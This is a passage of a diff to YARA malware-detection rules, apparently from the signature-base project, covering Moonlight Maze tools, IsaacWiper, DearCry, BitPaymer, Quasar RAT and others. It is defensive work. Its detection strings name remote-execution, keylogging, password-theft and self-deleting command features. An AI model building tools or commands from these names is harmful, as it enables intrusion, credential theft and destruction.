+		hash = "14cce7e641d308c3a177a8abb5457019"
+		hash = "a3164d2bbc45fb1eef5fde7eb8b245ea"
+		hash = "dabee9a7ea0ddaf900ef1e3e166ffe8a"
+		hash = "1980958afffb6a9d5a6c73fc1e2795c2"
+		hash = "e59f92aadb6505f29a9f368ab803082e"
+		logic_hash = "4e1f60b045c10758354f110c3778b8ffd7f10b5e229b3f2f821287476620bec9"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		version = "1.1"
+
+	strings:
+		$a1 = "Write file Ok..." ascii wide
+		$a2 = "ERROR: Can not open socket...." ascii wide
+		$a3 = "Error in parametrs:" ascii wide
+		$a4 = "Usage: @<get/put> <IP> <PORT> <file>" ascii wide
+		$a5 = "ERROR: Not connect..." ascii wide
+		$a6 = "Connect successful...." ascii wide
+		$a7 = "clnt <%d> rqstd n ll kll" ascii wide
+		$a8 = "clnt <%d> rqstd swap" ascii wide
+		$a9 = "cld nt sgnl prcs grp" ascii wide
+		$a10 = "cld nt sgnl prnt" ascii wide
+		$a11 = "ork error" ascii fullword
+
+	condition:
+		filesize <5000KB and 3 of ($a*)
+}
+rule SIGNATURE_BASE_Apt_RU_Moonlightmaze_Customsniffer
+{
+	meta:
+		description = "Rule to detect Moonlight Maze sniffer tools"
+		author = "Kaspersky Lab"
+		id = "8cc76e4d-a956-543c-81e0-827dfdb5da1c"
+		date = "2017-03-15"
 		modified = "2023-12-05"
-		reference = "http://www.rsaconference.com/writable/presentations/file_upload/exp-w01-hacking-exposed-day-of-destruction.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_shamoon.yar#L1-L13"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ed550832b217f7edceea2edf7c4453925ed1759d97db7728f7face6ff10ee361"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_moonlightmaze.yar#L50-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7b86f40e861705d59f5206c482e1f2a5"
+		hash = "927426b558888ad680829bd34b0ad0e7"
+		logic_hash = "5ccf9035adc16393db4b3d461f7a20f86f538275d7806280a15508c15d9c805c"
 		score = 75
 		quality = 85
 		tags = ""
+		version = "1.1"
+		original_filename = "ora;tdn"
 
 	strings:
-		$testn123 = "test123" wide
-		$testn456 = "test456" wide
-		$testn789 = "test789" wide
-		$testdomain = "testdomain.com" wide
-		$pingcmd = "ping -n 30 127.0.0.1 >nul" wide
+		$a1 = "/var/tmp/gogo" fullword
+		$a2 = "myfilename= |%s|" fullword
+		$a3 = "mypid,mygid=" fullword
+		$a4 = "mypid=|%d| mygid=|%d|" fullword
+		$a5 = "/var/tmp/task" fullword
+		$a6 = "mydevname= |%s|" fullword
 
 	condition:
-		( any of ($testn*) or $pingcmd) and $testdomain
+		2 of ($a*)
 }
-rule SIGNATURE_BASE_SUSP_PS1_JAB_Pattern_Jun22_1 : FILE
+rule SIGNATURE_BASE_Loki2Crypto
 {
 	meta:
-		description = "Detects suspicious UTF16 and Base64 encoded PowerShell code that starts with a $ sign and a single char variable"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9ecca7d9-3b63-5615-a223-5efa1c53510e"
-		date = "2022-06-10"
+		description = "Rule to detect hardcoded DH modulus used in 1996/1997 Loki2 sourcecode; #ifdef STRONG_CRYPTO /* 384-bit strong prime */"
+		author = "Costin Raiu, Kaspersky Lab"
+		id = "d67288f8-5205-5882-8dff-041d092eea4f"
+		date = "2017-03-21"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_ps_jab.yar#L2-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9ad61dca5c945ed87642668e3b834b12c813af244437903a5abb5c69459b9456"
-		score = 70
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_moonlightmaze.yar#L82-L106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "19fbd8cbfb12482e8020a887d6427315"
+		hash = "ea06b213d5924de65407e8931b1e4326"
+		hash = "14ecd5e6fc8e501037b54ca263896a11"
+		hash = "e079ec947d3d4dacb21e993b760a65dc"
+		hash = "edf900cebb70c6d1fcab0234062bfc28"
+		logic_hash = "c2315dafb0ecb9e6babd526a028835f3513218c1e667c81088c49ad13dbab5be"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		version = "1.0"
 
 	strings:
-		$xc1 = { 4a 41 42 ?? 41 43 41 41 50 51 41 67 41 }
-		$xc2 = { 4a 00 41 00 42 00 ?? 00 41 00 43 00 41 00 41 00 50 00 51 00 41 00 67 00 41 }
-		$xc3 = { 4a 41 42 ?? 41 44 30 41 }
-		$xc4 = { 4a 00 41 00 42 00 ?? 00 41 00 44 00 30 00 41 }
+		$modulus = {DA E1 01 CD D8 C9 70 AF C2 E4 F2 7A 41 8B 43 39 52 9B 4B 4D E5 85 F8 49}
 
 	condition:
-		filesize <30MB and 1 of them
+		( any of them )
 }
-import "pe"
+rule SIGNATURE_BASE_Apt_RU_Moonlightmaze_De_Tool
+{
+	meta:
+		description = "Rule to detect Moonlight Maze 'de' and 'deg' tunnel tool"
+		author = "Kaspersky Lab"
+		id = "09bfebca-7cec-5514-9f48-c0c2c57efcf9"
+		date = "2017-03-27"
+		modified = "2017-03-27"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_moonlightmaze.yar#L111-L137"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4bc7ed168fb78f0dc688ee2be20c9703"
+		hash = "8b56e8552a74133da4bc5939b5f74243"
+		logic_hash = "f658e1aa2ddb84fe3c1de7c7c00f2148d232cf2b3381c298420abfc382c02986"
+		score = 75
+		quality = 85
+		tags = ""
+		version = "1.0"
 
-rule SIGNATURE_BASE_MAL_Nitol_Malware_Jan19_1 : FILE
+	strings:
+		$a1 = "Vnuk: %d" ascii fullword
+		$a2 = "Syn: %d" ascii fullword
+		$a3 = {25 73 0A 25 73 0A 25 73 0A 25 73 0A}
+
+	condition:
+		((2 of ($a*)))
+}
+rule SIGNATURE_BASE_Apt_RU_Moonlightmaze_Cle_Tool
 {
 	meta:
-		description = "Detects Nitol Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5b9968a8-31ba-593b-9e01-b69a4e31fe65"
-		date = "2019-01-14"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/shotgunner101/status/1084602413691166721"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_mal_nitol.yar#L4-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4607496beb37500637c1e5509b42c0fe6f9e79548c85603819dc966fa2cc2be0"
+		description = "Rule to detect Moonlight Maze 'cle' log cleaning tool"
+		author = "Kaspersky Lab"
+		id = "99ae07b9-eb42-53dc-bd8b-75ab6a0b8cab"
+		date = "2017-03-27"
+		modified = "2017-03-27"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_moonlightmaze.yar#L140-L167"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "647d7b711f7b4434145ea30d0ef207b0"
+		logic_hash = "a4bbd7be617b944a656fa58ca9ec6384f624c95250de6b8a6ba63e7c3387484c"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e"
+		tags = ""
+		version = "1.0"
 
 	strings:
-		$xc1 = { 00 25 75 20 25 73 00 00 00 30 2E 30 2E 30 2E 30
-               00 25 75 20 4D 42 00 00 00 25 64 2A 25 75 25 73
-               00 7E 4D 48 7A }
-		$xc2 = "GET ^&&%$%$^" ascii
-		$n1 = ".htmGET " ascii
-		$s1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
-		$s2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
-		$s3 = "User-Agent:Mozilla/5.0 (X11; U; Linux i686; en-US; re:1.4.0) Gecko/20080808 Firefox/%d.0" fullword ascii
-		$s4 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
+		$a1 = "./a filename template_file" ascii wide
+		$a2 = "May be %s is empty?" ascii wide
+		$a3 = "template string = |%s|" ascii wide
+		$a4 = "No blocks !!!"
+		$a5 = "No data in this block !!!!!!" ascii wide
+		$a6 = "No good line"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (pe.imphash()=="286870a926664a5129b8b68ed0d4a8eb" or 1 of ($x*) or #n1>4 or 4 of them )
+		((3 of ($a*)))
 }
-rule SIGNATURE_BASE_Quasar_RAT_1 : FILE
+rule SIGNATURE_BASE_Apt_RU_Moonlightmaze_Xk_Keylogger
 {
 	meta:
-		description = "Detects Quasar RAT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "36220de3-aa1a-5c34-adae-432d939c811e"
-		date = "2017-04-07"
-		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_quasar_rat.yar#L10-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7cceccb7c283774318f6285b482a422566f4f821eb51d564104205783401931a"
+		description = "Rule to detect Moonlight Maze 'xk' keylogger"
+		author = "Kaspersky Lab"
+		id = "cf585cd0-afdd-5782-a6e5-bb9509cbf01d"
+		date = "2017-03-27"
+		modified = "2017-03-27"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_moonlightmaze.yar#L170-L202"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b2acdef9c8e545f4ab217f529a7e4a3e74723b27ec89896f98639fd40792bcc8"
+		score = 75
+		quality = 35
+		tags = ""
+		version = "1.0"
+
+	strings:
+		$a1 = "Log ended at => %s"
+		$a2 = "Log started at => %s [pid %d]"
+		$a3 = "/var/tmp/task" fullword
+		$a4 = "/var/tmp/taskhost" fullword
+		$a5 = "my hostname: %s"
+		$a6 = "/var/tmp/tasklog"
+		$a7 = "/var/tmp/.Xtmp01" fullword
+		$a8 = "myfilename=-%s-"
+		$a9 = "/var/tmp/taskpid"
+		$a10 = "mypid=-%d-" fullword
+		$a11 = "/var/tmp/taskgid" fullword
+		$a12 = "mygid=-%d-" fullword
+
+	condition:
+		((3 of ($a*)))
+}
+rule SIGNATURE_BASE_Apt_RU_Moonlightmaze_Encrypted_Keylog : FILE
+{
+	meta:
+		description = "Rule to detect Moonlight Maze encrypted keylogger logs"
+		author = "Kaspersky Lab"
+		id = "f0d464f0-3955-5f41-a57f-8aa225e1171d"
+		date = "2017-03-27"
+		modified = "2017-03-27"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_moonlightmaze.yar#L204-L222"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "593f6f2148ddb52e2beee72a48135cd83f126edfdb263b471432d17273e536db"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740"
-		hash2 = "1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec"
-		hash3 = "515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89"
-		hash4 = "f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34"
+		version = "1.0"
 
 	strings:
-		$s1 = "DoUploadAndExecute" fullword ascii
-		$s2 = "DoDownloadAndExecute" fullword ascii
-		$s3 = "DoShellExecute" fullword ascii
-		$s4 = "set_Processname" fullword ascii
-		$op1 = { 04 1e fe 02 04 16 fe 01 60 }
-		$op2 = { 00 17 03 1f 20 17 19 15 28 }
-		$op3 = { 00 04 03 69 91 1b 40 }
+		$a1 = {47 01 22 2A 6D 3E 39 2C}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <5000KB and all of ($s*) or all of ($op*))
+		uint32(0)==0x2a220147 and ($a1 at 0)
 }
-rule SIGNATURE_BASE_Quasar_RAT_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_WIPER_Isaacwiper_Mar22_1 : FILE
 {
 	meta:
-		description = "Detects Quasar RAT"
+		description = "Detects IsaacWiper malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0ca795c5-3631-5a99-8675-37558485f478"
-		date = "2017-04-07"
+		id = "97d8d8dd-db65-5156-8f97-56c620cf2d56"
+		date = "2022-03-03"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_quasar_rat.yar#L35-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b113cb63b0bb75766c905dd3b327b1b2df228733622df8f7517d3daed72432a3"
-		score = 75
+		reference = "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ua_isaacwiper.yar#L3-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6fe7d1536db5fc30c9b4a171be66993fc69e6a1d96dae00be4170bdb4a53afb8"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740"
-		hash2 = "515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89"
-		hash3 = "f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34"
+		hash1 = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033"
+		hash2 = "7bcd4ec18fc4a56db30e0aaebd44e2988f98f7b5d8c14f6689f650b4f11e16c0"
 
 	strings:
-		$x1 = "GetKeyloggerLogsResponse" fullword ascii
-		$x2 = "get_Keylogger" fullword ascii
-		$x3 = "HandleGetKeyloggerLogsResponse" fullword ascii
-		$s1 = "DoShellExecuteResponse" fullword ascii
-		$s2 = "GetPasswordsResponse" fullword ascii
-		$s3 = "GetStartupItemsResponse" fullword ascii
-		$s4 = "<GetGenReader>b__7" fullword ascii
-		$s5 = "RunHidden" fullword ascii
+		$s1 = "C:\\ProgramData\\log.txt" wide fullword
+		$s2 = "Cleaner.dll" ascii fullword
+		$s3 = "-- system logical drive: " wide fullword
+		$s4 = "-- FAILED" wide fullword
+		$op1 = { 8b f1 80 3d b0 66 03 10 00 0f 85 96 00 00 00 33 c0 40 b9 a8 66 03 10 87 01 33 db }
+		$op2 = { 8b 40 04 2b c2 c1 f8 02 3b c8 74 34 68 a2 c8 01 10 2b c1 6a 04 }
+		$op3 = { 8d 4d f4 ff 75 08 e8 12 ff ff ff 68 88 39 03 10 8d 45 f4 50 e8 2d 1d 00 00 cc }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <5000KB and $x1) or ( all of them )
+		uint16(0)==0x5a4d and filesize <700KB and (pe.imphash()=="a4b162717c197e11b76a4d9bc58ea25d" or 3 of them )
 }
-rule SIGNATURE_BASE_MAL_Quasarrat_May19_1 : FILE
+rule SIGNATURE_BASE_URL_File_Local_EXE : FILE
 {
 	meta:
-		description = "Detects QuasarRAT malware"
+		description = "Detects an .url file that points to a local executable"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a4e82b6a-31f8-59fc-acfa-805c4594680a"
-		date = "2019-05-27"
-		modified = "2023-01-06"
-		reference = "https://blog.ensilo.com/uncovering-new-activity-by-apt10"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_quasar_rat.yar#L61-L89"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a189bce433c71d45fd7f5d7fc284fc5b35c88a7ec616dd392d0e931165263aca"
-		score = 75
+		id = "8b157e98-7b69-5649-b1d8-40bd6b685bf6"
+		date = "2017-10-04"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/malwareforme/status/915300883012870144"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_to_local_exe.yar#L1-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b85b723142f52ade68f6eb8ba54bb7dffafce0df6d1ae8a7c08b3ce621ccadd4"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		hash1 = "0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Quasar.Common.Messages" ascii fullword
-		$x2 = "Client.MimikatzTools" ascii fullword
-		$x3 = "Resources.powerkatz_x86.dll" ascii fullword
-		$x4 = "Uninstalling... good bye :-(" wide
-		$xc1 = { 41 00 64 00 6D 00 69 00 6E 00 00 11 73 00 63 00
-               68 00 74 00 61 00 73 00 6B 00 73 00 00 1B 2F 00
-               63 00 72 00 65 00 61 00 74 00 65 00 20 00 2F 00
-               74 00 6E 00 20 00 22 00 00 27 22 00 20 00 2F 00
-               73 }
-		$xc2 = { 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20
-               00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C
-               00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E
-               00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20
-               00 2F 00 61 00 20 00 2F 00 71 00 20 00 2F 00 66
-               00 20 00 }
+		$s1 = "[InternetShortcut]" ascii wide fullword
+		$s2 = /URL=file:\/\/\/C:\\[^\n]{1,50}\.exe/
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10000KB and 1 of them
+		filesize <400 and all of them
 }
-rule SIGNATURE_BASE_Powershell_Case_Anomaly : FILE
+rule SIGNATURE_BASE_MAL_RANSOM_Crime_Dearcry_Mar2021_1 : FILE
 {
 	meta:
-		description = "Detects obfuscated PowerShell hacktools"
-		author = "Florian Roth (Nextron Systems)"
-		id = "41c97d15-c167-5bdd-a8b4-871d14f66fe1"
-		date = "2017-08-11"
-		modified = "2022-06-12"
-		reference = "https://twitter.com/danielhbohannon/status/905096106924761088"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_case_anomalies.yar#L11-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cbef94b899a2d22930ee0e8b3eac03c505db629d19a62ddd8f56482403dfa595"
-		score = 70
-		quality = 77
+		description = "Triggers on strings of known DearCry samples"
+		author = "Nils Kuhnert"
+		id = "d9714502-f1ea-5fe8-b0ac-1f7a9a30d8f5"
+		date = "2021-03-12"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/phillip_misner/status/1370197696280027136"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_dearcry_ransom.yar#L1-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e55507475888087c84f9624f82516e8a40aaf59bf2fbea72129a1dd134b28110"
+		score = 75
+		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff"
+		hash2 = "e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6"
+		hash3 = "feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede"
 
 	strings:
-		$s1 = "powershell" nocase ascii wide
-		$sn1 = "powershell" ascii wide
-		$sn2 = "Powershell" ascii wide
-		$sn3 = "PowerShell" ascii wide
-		$sn4 = "POWERSHELL" ascii wide
-		$sn5 = "powerShell" ascii wide
-		$sn6 = "PowerShelL" ascii wide
-		$sn7 = "PowershelL" ascii wide
-		$a1 = "wershell -e " nocase wide ascii
-		$an1 = "wershell -e " wide ascii
-		$an2 = "werShell -e " wide ascii
-		$k1 = "-noprofile" fullword nocase ascii wide
-		$kn1 = "-noprofile" ascii wide
-		$kn2 = "-NoProfile" ascii wide
-		$kn3 = "-noProfile" ascii wide
-		$kn4 = "-NOPROFILE" ascii wide
-		$kn5 = "-Noprofile" ascii wide
-		$fp1 = "Microsoft Code Signing" ascii fullword
-		$fp2 = "Microsoft Corporation" ascii
-		$fp3 = "Microsoft.Azure.Commands.ContainerInstance" wide
-		$fp4 = "# Localized PSGet.Resource.psd1" wide
+		$x1 = ".TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML  .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD  .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFS" ascii
+		$s1 = "create rsa error" ascii fullword
+		$s2 = "DEARCRY!" ascii fullword
+		$s4 = "/readme.txt" ascii fullword
+		$s5 = "msupdate" ascii fullword
+		$s6 = "Your file has been encrypted!" ascii fullword
+		$s7 = "%c:\\%s" ascii fullword
+		$s8 = "C:\\Users\\john\\" ascii
+		$s9 = "EncryptFile.exe.pdb" ascii
 
 	condition:
-		filesize <800KB and ((#s1>#sn1+#sn2+#sn3+#sn4+#sn5+#sn6+#sn7) or (#a1>#an1+#an2) or (#k1>#kn1+#kn2+#kn3+#kn4+#kn5)) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize >1MB and filesize <2MB and (1 of ($x*) or 3 of them ) or 5 of them
 }
-rule SIGNATURE_BASE_Wscriptshell_Case_Anomaly : FILE
+rule SIGNATURE_BASE_MAL_CRIME_RANSOM_Dearcry_Mar21_1 : FILE
 {
 	meta:
-		description = "Detects obfuscated wscript.shell commands"
+		description = "Detects DearCry Ransomware affecting Exchange servers"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d69d932d-1e39-5259-9200-f0227754f49c"
-		date = "2017-09-11"
-		modified = "2022-06-09"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_case_anomalies.yar#L62-L84"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5c64e124186ae2eb974639627287fb27fe27eb2855342703e4a27a9c0fd62a91"
-		score = 60
-		quality = 83
+		id = "96cd2fe8-8bb9-5a3b-9bf1-c63a1148a817"
+		date = "2021-03-12"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/phillip_misner/status/1370197696280027136"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_dearcry_ransom.yar#L29-L53"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c4af7c29e917078f8658aca68ec95f8a03934f42c81fdd421639437e24f304bc"
+		score = 75
+		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff"
+		hash2 = "e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6"
+		hash3 = "feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede"
 
 	strings:
-		$s1 = "WScript.Shell\").Run" nocase ascii wide
-		$sn1 = "WScript.Shell\").Run" ascii wide
-		$sn2 = "wscript.shell\").run" ascii wide
-		$sn3 = "WSCRIPT.SHELL\").RUN" ascii wide
-		$sn4 = "Wscript.Shell\").Run" ascii wide
-		$sn5 = "WScript.shell\").Run" ascii wide
+		$s1 = "dear!!!" ascii fullword
+		$s2 = "EncryptFile.exe.pdb" ascii fullword
+		$s3 = "/readme.txt" ascii fullword
+		$s4 = "C:\\Users\\john\\" ascii
+		$s5 = "And please send me the following hash!" ascii fullword
+		$op1 = { 68 e0 30 52 00 6a 41 68 a5 00 00 00 6a 22 e8 81 d0 f8 ff 83 c4 14 33 c0 5e }
+		$op2 = { 68 78 6a 50 00 6a 65 6a 74 6a 10 e8 d9 20 fd ff 83 c4 14 33 c0 5e }
+		$op3 = { 31 40 00 13 31 40 00 a4 31 40 00 41 32 40 00 5f 33 40 00 e5 }
 
 	condition:
-		filesize <3000KB and #s1>#sn1+#sn2+#sn3+#sn4+#sn5
+		uint16(0)==0x5a4d and filesize <4000KB and 3 of them or 5 of them
 }
-rule SIGNATURE_BASE_Minidionis_Readerview : FILE
+rule SIGNATURE_BASE_Bitpaymer_1
 {
 	meta:
-		description = "MiniDionis Malware - file readerView.exe / adobe.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dc8d4311-2a87-5c9b-95ff-52708f293f01"
-		date = "2015-07-20"
+		description = "Rule to detect newer Bitpaymer samples. Rule is based on BitPaymer custom packer"
+		author = "Morphisec labs"
+		id = "916de232-1f1b-5853-a57f-623812cfed16"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_minidionis.yar#L10-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "45ae1be675f2b7b3d89aea2bde66f9f96b55b6fbf81e3783c209c7d6d4355026"
+		reference = "http://blog.morphisec.com/bitpaymer-ransomware-with-new-custom-packer-framework"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_crime_bitpaymer.yar#L1-L12"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0c236794c04f0805d4611cfaf43369eeb4d0e65d6c697e6c5e6afd321fbca629"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
-		hash2 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
-		hash3 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
